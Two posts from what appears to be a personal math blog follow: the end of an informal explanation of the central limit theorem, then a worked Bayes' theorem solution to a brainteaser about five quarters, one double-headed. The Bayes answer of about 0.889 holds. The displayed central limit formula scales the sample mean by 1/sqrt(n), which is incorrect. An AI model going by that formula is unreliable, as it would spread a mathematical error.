<p>So, what is normal about the normal distribution?
Suppose we have random variables \(Y_1\), \(Y_2\),… , which are
independent and identically distributed with mean \(0\) and variance
\(\sigma^2\).
Now we can of course add finite subsets of them up. We then scale it,
so the terms do not grow infinitely.
\(\frac{1}{n}\sum_{i=1}^n Y_i\)
We now scale it with \(\frac{1}{\sqrt{n}}\) and let \(n\) grow to
infinity. Then we get a normal distribution.
I.e.
\(\begin{align*}
\lim_{n\rightarrow\infty}\frac{1}{\sqrt{n}}(\frac{1}{n}\sum_{i=1}^n Y_i)\sim\mathcal{N}(0,\sigma^2)
\end{align*}\)
Note that this is independent of the distributions of the \(Y_i\). We
only demanded them to be equal.</p>
<h1 id="the-end">The End</h1>
<p>Congratulations, you finally made it to the end. I suppose not many
people make it this far. I hope you enjoyed the journey and learned
something along the way.</p>
The Quarter Flip
2014-09-03T00:00:00+00:00
https://hkopp.github.io/2014/09/the-quarter-flip
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<h1 id="intro">Intro</h1>
<p>I have found this brainteaser in Max Damas “Automated trading”, but
without a solution. I think my solution should be correct.</p>
<h2 id="problem">Problem</h2>
<p>You have 5 quarters on the table in front of you. Four of them are
fair, i.e., one side is heads the other tails, and one coin has heads
on both sides.<br />
You pick one at random and flip it five times. Each time you get
heads.
What is the probability, that you picked up the coin with two heads?</p>
<p>I suggest you try this for yourself before reading on.</p>
<h2 id="solution">Solution</h2>
<p>There is a thing called Bayes’ theorem, which makes this seemingly
difficult brainteaser a simple exercise, as we mathematicians like to
call it.<br />
Bayes’ theorem is about relating conditional probabilities. Let
\(P(A)\) be the probability of the event \(A\) and \(P(A|B)\) the
probability of the event \(A\) given the event \(B\).<br />
Then Bayes’ says that
\(\begin{align*}
P(A|B)=\frac{P(B|A)P(A)}{P(B)}
\end{align*}\)</p>
<p>So we just need to define the events accordingly, plug in the values
and whoosh, we are finished.
So, let \(HH\) be the event, that we picked the coin with two heads,
\(5H\) the event, that we got five heads.
The question is now, what is \(P(HH|5H)\)?</p>
<p>According to Bayes:
\(\begin{align*}
P(HH|5H)=\frac{P(5H|HH)P(HH)}{P(5H)}
\end{align*}\)</p>
<p>Obviously \(P(5H|HH)=1\), since we can only get heads from the coin
with two heads.
\(P(HH)=1/5\), since we have four fair coins and one head-head-coin.</p>
<p>So it remains to compute \(P(5H)\). This is \(4/5\cdot1/2^5\) for
the fair coins and \(1/5\cdot 1\) for the rigged coin. Summing up
yields
\(\begin{align*}
P(5H)=1/2^5\cdot 4/5+1/5\cdot 1=0.025+0.2=0.225
\end{align*}\)</p>
<p>All in all
\(\begin{align*}
P(HH|5H)=\frac{P(5H|HH)P(HH)}{P(5H)}\approx 0.889
\end{align*}\)</p>